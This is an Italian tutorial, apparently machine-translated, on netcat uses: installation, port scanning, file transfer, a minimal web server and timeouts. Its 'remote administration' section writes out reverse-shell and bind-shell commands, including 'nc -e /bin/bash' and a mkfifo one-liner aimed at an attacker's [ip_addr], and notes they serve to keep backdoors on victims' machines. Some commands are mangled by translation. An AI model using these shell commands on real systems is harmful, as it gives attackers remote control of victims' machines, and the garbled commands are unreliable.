Ci sono due pacchetti simili disponibili per NetCat con una leggera differenza tra loro.
Netcat-tradizionale Include un'opzione '-e' aggiuntiva che può essere utilizzata per vincolare un programma (i.e bash) con netcat. Questa funzione è molto utile per scopi di amministrazione remoto.
Netcat-openbsd Avere un ulteriore supporto per IPv6 e proxy.
Installazione di NetCAT
Sebbene NetCat venga preinstallato nella maggior parte delle distribuzioni Linux ma in tal caso, può essere installato facilmente utilizzando i seguenti comandi.
Per un pacchetto tradizionale,
ubuntu@ubuntu: ~ $ sudo apt-get install netcat-traditional
Per la versione OpenBSD,
ubuntu@ubuntu: ~ $ sudo apt-get Installa netcat-openbsd
NetCat per Windows può essere scaricato da qui https: // sourceforge.Net/Projects/NC110/Files/.
Ora esploreremo alcuni casi d'uso interessanti di NetCat
Scansione della porta mediante netcat
Per scansionare le porte aperte, utilizzare l'opzione '-z'. NetCat proverà a connettersi a ogni porta senza inviare dati o dati molto limitati nel caso UDP. Digitare quanto segue
ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
... Snip ..
Hackme.org [217.78.1.155] 80 (http) aperto
Per scansionare una gamma di porte, digitare
ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Sconosciuto) [192.168.100.72] 80 (http) aperto
(Sconosciuto) [192.168.100.72] 22 (ssh) aperto
Trasferimento di file con netcat
Un altro caso d'uso utile di NetCat è il trasferimento di file tra i computer remoti. È possibile inviare messaggi e file binari da un PC a un altro PC. Proveremo a inviare un file "file.PDF ”da Linux PC a Windows PC [IP 192.168.100.72] usando netcat come esempio.
Sul macchina Windows (ricevitore), digita quanto segue
C: \ utenti> nc -nvlp 1337> file.PDF
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)
Sulla macchina Linux (mittente), digitare quanto segue
ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Connessione a 192.168.100.72 1337 Porta [TCP/*] è riuscito!
Amministrazione remota con netcat
Uno dei migliori casi d'uso di NetCat è l'amministrazione remota, ciò significa che è possibile controllare il PC di qualcun altro usando NetCat. Netcat-tradizionale viene fornito con l'opzione '-e' che può essere utilizzata per vincolare un programma (i.e cmd.Exe in Windows o Bash in Linux) con una porta, ciò significa che NetCat fungerà da comunicatore tra il programma e il PC remoto. NetCat riceverà comandi dal PC remoto, eseguirà il sistema locale e rispedirà i risultati al PC remoto. Questa funzione è ampiamente utilizzata per scopi dannosi, per mantenere backdoor in PC e server. Questa funzione è disponibile solo in NetCat-Traditional ma con un piccolo trucco, NetCat-OpenBSD può essere utilizzato anche per lo stesso scopo. Puoi utilizzare due modi per controllare il PC degli altri.
In un Shell inverso connessione, un utente malintenzionato ascolta una porta e attende che venga inviato una connessione dalla macchina vittima. Viene utilizzato quando il computer vittima è dietro NAT o non ha IP pubblico.
Per ottenere una shell inversa usando NetCat, è necessario ascoltare una porta usando NetCAT. Digita quanto segue sulla macchina dell'attaccante,
ubuntu@ubuntu: ~ $ nc -nvlp 1337
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)
Sulla macchina della vittima (se Netcat-tradizionale è installato)
// Sostituisci "/bin/bash" con "cmd.exe "in caso di Windows
ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash
Per Netcat-openbsd (dove l'opzione "-e" non è supportata)
ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f;
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f
Mentre in un Lega guscio Connessione, l'attaccante lega una porta sulla macchina per vittime e si collega a quella porta utilizzando la presa client. Viene utilizzato quando la macchina dell'attaccante è dietro NAT o non ha un IP pubblico.
Sulla macchina vittima, tipo
ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Ascoltando [qualsiasi] 1337 ..
Ora, per eseguire comandi sulla macchina della vittima, digita
ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Connessione a 127.0.0.1 1337 Porta [TCP/*] è riuscito!
$ id
UID = 1000 (Azad) Gid = 1000 (Azad) Gruppi = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (LPADMIN), 129 (Sambashare)
Semplice server Web utilizzando NetCat
Puoi anche fare un altro semplice trucco per utilizzare NetCat come server Web a pagina singola minimo. Questo server Web sarebbe molto semplice senza configurazioni speciali e lo useremo inviare il nostro codice HTML al browser.
ubuntu@ubuntu: ~ $ while vero; do echo -e "http/1.1 200 ok \ n \ n $ (eco "")" | NC -NVLP 1337; Fatto
Il mio semplice server web che utilizza netcat
Ascoltando [0.0.0.0] (Famiglia 2, Porta 1337)
Ora, prova a recuperare la pagina web usando Curl
ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/Il mio semplice server web che utilizza netcat
Specificare il timeout per una sessione netcat
È possibile specificare il timeout per una sessione NetCAT utilizzando l'opzione "-w". NetCat disconnetterà automaticamente la sua sessione dopo che il tempo specificato si spegne.
// -w [tempo in secondi]
ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Ascoltando [0.0.0.0] (Famiglia 2, porto 1234)
Continua ad ascoltare anche se il client chiude la connessione
In modalità normale, NetCat Server si spegne e smette di ascoltare sulla porta quando un client chiude la connessione. È possibile mantenere il server utilizzando l'opzione "-k"
ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Ascoltando [0.0.0.0] (Famiglia 2, porto 1234)
NetCat è un'utilità semplice ma efficiente che può essere utilizzata per molte semplici attività giornaliere. Viene preinstallato in quasi tutti i sistemi operativi UNIX e può essere utilizzato per varie attività come la comunicazione tra due PC, il trasferimento di file e molti altri.